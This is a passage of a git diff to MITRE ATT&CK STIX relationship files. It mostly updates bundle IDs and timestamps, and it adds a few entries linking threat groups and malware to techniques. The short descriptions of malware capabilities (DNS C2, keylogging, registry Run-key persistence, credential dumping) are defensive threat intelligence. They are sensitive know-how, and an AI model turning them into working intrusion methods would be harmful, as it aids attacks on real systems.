-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Crimson contains commands to list files and directories, as well as search for files matching certain extensions from a defined list.",
             "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
diff --git a/enterprise-attack/relationship/relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d.json b/enterprise-attack/relationship/relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d.json
index 75e32566b5..f36c5ffc19 100644
--- a/enterprise-attack/relationship/relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d.json
+++ b/enterprise-attack/relationship/relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--709be3db-beba-4fc5-a3f3-03784e2cef48",
+    "id": "bundle--1c1ef6e2-784a-4a7a-bbed-65f6910946ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d9114a6-6452-4668-95eb-f91bcb300d2d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "TEXTMATE uses DNS TXT records for C2.",
             "source_ref": "malware--4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
diff --git a/enterprise-attack/relationship/relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18.json b/enterprise-attack/relationship/relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18.json
index 43658a7a02..541bff946a 100644
--- a/enterprise-attack/relationship/relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18.json
+++ b/enterprise-attack/relationship/relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c1aabf16-3443-4984-817d-020e73d5ee41",
+    "id": "bundle--3e6ff4b8-498d-4dda-934b-7670c7e3b8f7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0d989c2e-0207-4412-b52a-5d9bf9f96d18",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "In one instance, menuPass added PlugX as a service with a display name of \"Corel Writing Tools Utility.\"",
             "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd",
diff --git a/enterprise-attack/relationship/relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b.json b/enterprise-attack/relationship/relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b.json
index 07b7566c2d..4c34130b13 100644
--- a/enterprise-attack/relationship/relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b.json
+++ b/enterprise-attack/relationship/relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--577712a2-f149-4dc5-8897-649c1c2a9f5b",
+    "id": "bundle--e709ad75-6a94-495a-a140-e2b5825450f6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0db8a021-2f3a-41cc-abc6-d8723c7e802b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "PowerDuke has a command to get the victim's domain and NetBIOS name.",
             "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
diff --git a/enterprise-attack/relationship/relationship--0dee5507-6e61-4244-86a8-c7e8a34469da.json b/enterprise-attack/relationship/relationship--0dee5507-6e61-4244-86a8-c7e8a34469da.json
index 245e816920..e05c09b531 100644
--- a/enterprise-attack/relationship/relationship--0dee5507-6e61-4244-86a8-c7e8a34469da.json
+++ b/enterprise-attack/relationship/relationship--0dee5507-6e61-4244-86a8-c7e8a34469da.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--20c4d29d-9ce5-4ecd-a70c-32bb0287c19c",
+    "id": "bundle--4680bf23-5ee4-40f4-9813-eaac3c61c142",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0dee5507-6e61-4244-86a8-c7e8a34469da",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "OwaAuth is a Web shell that appears to be exclusively used by Threat Group-3390.China Chopper Web shell.",
             "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5",
diff --git a/enterprise-attack/relationship/relationship--0df8e968-716a-4de9-9669-862af62d6eb6.json b/enterprise-attack/relationship/relationship--0df8e968-716a-4de9-9669-862af62d6eb6.json
index ae4049c553..4a5e5dcb56 100644
--- a/enterprise-attack/relationship/relationship--0df8e968-716a-4de9-9669-862af62d6eb6.json
+++ b/enterprise-attack/relationship/relationship--0df8e968-716a-4de9-9669-862af62d6eb6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--434b22eb-d018-4e29-b2c8-96925a105499",
+    "id": "bundle--5ec6cd4d-9327-4085-bf3d-e807c76e8c45",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SslMM sends the logged-on username to its hard-coded C2.",
             "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
diff --git a/enterprise-attack/relationship/relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b.json b/enterprise-attack/relationship/relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b.json
new file mode 100644
index 0000000000..0e953a789c
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--81c2b248-815d-482b-bf37-e3c5d7788607",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
+            "target_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0e12d7d1-5c46-4314-97fb-263853eed6af.json b/enterprise-attack/relationship/relationship--0e12d7d1-5c46-4314-97fb-263853eed6af.json
index 876e830b0a..78eab9b86b 100644
--- a/enterprise-attack/relationship/relationship--0e12d7d1-5c46-4314-97fb-263853eed6af.json
+++ b/enterprise-attack/relationship/relationship--0e12d7d1-5c46-4314-97fb-263853eed6af.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e0c4896f-b190-434b-a96b-5f4c279e3538",
+    "id": "bundle--e158c3fc-8f1d-4a66-a727-d4498f2b7e1a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HTTPBrowser is capable of writing a file to the compromised system from the C2 server.",
             "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360",
diff --git a/enterprise-attack/relationship/relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61.json b/enterprise-attack/relationship/relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61.json
index e6514d9994..989b38f751 100644
--- a/enterprise-attack/relationship/relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61.json
+++ b/enterprise-attack/relationship/relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b522cf99-794a-46aa-837a-e2b78326100e",
+    "id": "bundle--3552dd63-466e-440e-9b72-9341b88f07fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Downdelph inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.",
             "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519",
diff --git a/enterprise-attack/relationship/relationship--0e58b447-7b3e-404c-b8e5-003734c34574.json b/enterprise-attack/relationship/relationship--0e58b447-7b3e-404c-b8e5-003734c34574.json
index aed2e4513a..7521adaa58 100644
--- a/enterprise-attack/relationship/relationship--0e58b447-7b3e-404c-b8e5-003734c34574.json
+++ b/enterprise-attack/relationship/relationship--0e58b447-7b3e-404c-b8e5-003734c34574.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--811815d8-26b9-4e7b-8838-eae91dd0d23d",
+    "id": "bundle--07df595d-de25-4070-a29b-08df5a37a280",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e58b447-7b3e-404c-b8e5-003734c34574",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "MoonWind has a keylogger.",
             "source_ref": "malware--9ea525fa-b0a9-4dde-84f2-bcea0137b3c1",
diff --git a/enterprise-attack/relationship/relationship--0e630f6b-8662-4ffe-b666-709e17aad69f.json b/enterprise-attack/relationship/relationship--0e630f6b-8662-4ffe-b666-709e17aad69f.json
index 5adafc2b46..c3062e62e7 100644
--- a/enterprise-attack/relationship/relationship--0e630f6b-8662-4ffe-b666-709e17aad69f.json
+++ b/enterprise-attack/relationship/relationship--0e630f6b-8662-4ffe-b666-709e17aad69f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1d7a20b5-1d54-4aeb-a212-dbab7d6919e9",
+    "id": "bundle--2516a059-de04-40fe-9b85-6ae61ad3ff69",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "3PARA RAT command and control commands are encrypted within the HTTP C2 channel using the DES algorithm in CBC mode with a key derived from the MD5 hash of the string HYF54&%9&jkMCXuiS.",
             "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
diff --git a/enterprise-attack/relationship/relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868.json b/enterprise-attack/relationship/relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868.json
index 3f4d48992e..89de9e724a 100644
--- a/enterprise-attack/relationship/relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868.json
+++ b/enterprise-attack/relationship/relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7c72eaca-d13d-4c9f-8915-0dceb2f54820",
+    "id": "bundle--04b72a1b-3a75-442a-8f26-4c1653d1a914",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.077Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "A Patchwork payload has searched all fixed drives on the victim for files matching a specified list of extensions.",
             "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
diff --git a/enterprise-attack/relationship/relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455.json b/enterprise-attack/relationship/relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455.json
index d869b07586..8516111003 100644
--- a/enterprise-attack/relationship/relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455.json
+++ b/enterprise-attack/relationship/relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3cc19b78-0345-4b78-9619-12d1c5e8521f",
+    "id": "bundle--772fe01b-0a24-4363-b978-aa4a389b7d15",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0ead6cee-20a4-46fb-a9c1-8686a776f455",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565",
diff --git a/enterprise-attack/relationship/relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200.json b/enterprise-attack/relationship/relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200.json
index 5ad1d60b2f..3663a0f2cc 100644
--- a/enterprise-attack/relationship/relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200.json
+++ b/enterprise-attack/relationship/relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f6a8d6b5-93bb-4e34-bce4-00ea93b44393",
+    "id": "bundle--8a6ac2eb-7693-4a8e-a41f-5b86642294e0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0ec4a49c-0adc-41fb-afc2-e99f1e7c5200",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.065Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "target_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
diff --git a/enterprise-attack/relationship/relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f.json b/enterprise-attack/relationship/relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f.json
index 40dd9f436b..57ae6a541e 100644
--- a/enterprise-attack/relationship/relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f.json
+++ b/enterprise-attack/relationship/relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d2372d94-b9d9-4381-9b8d-e5b3a091cebe",
+    "id": "bundle--54acb042-985a-499f-98a3-8a88285d501d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.054Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050",
             "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a.json b/enterprise-attack/relationship/relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a.json
new file mode 100644
index 0000000000..f4aa79c401
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b42c4558-db3a-416d-9992-d71463c43967",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "identified and extracted all Word documents on a server by using a command containing *.doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.",
+            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
+            "external_references": [
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd.json b/enterprise-attack/relationship/relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd.json
index 446e805eab..5b50df3d71 100644
--- a/enterprise-attack/relationship/relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd.json
+++ b/enterprise-attack/relationship/relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--59b650b6-6181-4b33-900e-4ad16b64fc8b",
+    "id": "bundle--9c817140-f1b1-46d9-a8c3-70881472cc5b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Modules can be pushed to and executed by Duqu that copy data to a staging area, compress it, and XOR encrypt it.",
             "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
diff --git a/enterprise-attack/relationship/relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec.json b/enterprise-attack/relationship/relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec.json
index cdef697a29..228023fca4 100644
--- a/enterprise-attack/relationship/relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec.json
+++ b/enterprise-attack/relationship/relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d7bef280-ad05-4c12-a1df-36f1608f6eca",
+    "id": "bundle--49c28d20-1173-4bbb-a0ce-5e40190a2fb1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0f5d3626-1dc2-4ebe-ba37-3f86ab0df9ec",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover persists by creating a Registry entry in <code>HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\</code>.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170.json b/enterprise-attack/relationship/relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170.json
new file mode 100644
index 0000000000..ca519fa1be
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--903508b1-51d8-426f-9abd-b96eb48dc63b",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0fa0f5d6-be0b-4a48-938c-6d9bb8b1a170",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig has used credential dumping tools to steal credentials to accounts logged into the compromised system.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
+            "external_references": [
+                {
+                    "source_name": "Unit 42 Playbook OilRig Dec 2017",
+                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer - Oil Rig. Retrieved December 20, 2017.",
+                    "url": "https://pan-unit42.github.io/playbook%20viewer/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7.json b/enterprise-attack/relationship/relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7.json
index 21b682fa25..326996c0ae 100644
--- a/enterprise-attack/relationship/relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7.json
+++ b/enterprise-attack/relationship/relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a2fc13b1-1de1-45fd-9b7e-7a6f49791719",
+    "id": "bundle--bdc2e9a6-b85b-429c-a167-a6f511af226a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "If installing itself as a service fails, Elise instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.",
             "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
diff --git a/enterprise-attack/relationship/relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979.json b/enterprise-attack/relationship/relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979.json
index 0935f1517c..11b2f04793 100644
--- a/enterprise-attack/relationship/relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979.json
+++ b/enterprise-attack/relationship/relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--713d0b91-fdf1-4e29-8c98-4625968dade8",
+    "id": "bundle--4206c8e6-fec2-4ea8-ac04-a53b581d73a6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0fe893d6-a52f-4828-a792-eeb6a3e4f979",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43",
             "target_ref": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
diff --git a/enterprise-attack/relationship/relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0.json b/enterprise-attack/relationship/relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0.json
index 05daaf3c57..d3cacf40dd 100644
--- a/enterprise-attack/relationship/relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0.json
+++ b/enterprise-attack/relationship/relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4515f20-936a-42e5-be79-4391172c50c3",
+    "id": "bundle--329a6a06-bd4c-4cd6-ad97-dba7eb4b4873",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--0fec9b91-cd45-493b-b23e-abb3ed2513a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "EvilGrab has the capability to capture keystrokes.",
             "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
diff --git a/enterprise-attack/relationship/relationship--0fee8bfd-aec2-44a7-8182-530a648006f3.json b/enterprise-attack/relationship/relationship--0fee8bfd-aec2-44a7-8182-530a648006f3.json
new file mode 100644
index 0000000000..72749bfbca
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--0fee8bfd-aec2-44a7-8182-530a648006f3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c34fb963-de4d-48e6-b2c4-7791cfcd9b70",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--0fee8bfd-aec2-44a7-8182-530a648006f3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "creates a shortcut file and saves it in a Startup folder to establish persistence.",
+            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
+            "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
+            "external_references": [
+                {
+                    "source_name": "Palo Alto Reaver Nov 2017",
+                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--101867a2-149c-4088-a90f-7af4b86e5013.json b/enterprise-attack/relationship/relationship--101867a2-149c-4088-a90f-7af4b86e5013.json
index 0e01a647d5..ebae674a0b 100644
--- a/enterprise-attack/relationship/relationship--101867a2-149c-4088-a90f-7af4b86e5013.json
+++ b/enterprise-attack/relationship/relationship--101867a2-149c-4088-a90f-7af4b86e5013.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5ff86173-d1a3-476a-b20f-096ac9df31dd",
+    "id": "bundle--aa7df8c6-9378-4033-825b-4d36963e73a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--101867a2-149c-4088-a90f-7af4b86e5013",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CHOPSTICK can switch to a new C2 channel if the current one is broken.",
             "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
diff --git a/enterprise-attack/relationship/relationship--1035fe41-56b9-4966-bf3b-109ae950c908.json b/enterprise-attack/relationship/relationship--1035fe41-56b9-4966-bf3b-109ae950c908.json
index 1036f6d0d2..196add7bf8 100644
--- a/enterprise-attack/relationship/relationship--1035fe41-56b9-4966-bf3b-109ae950c908.json
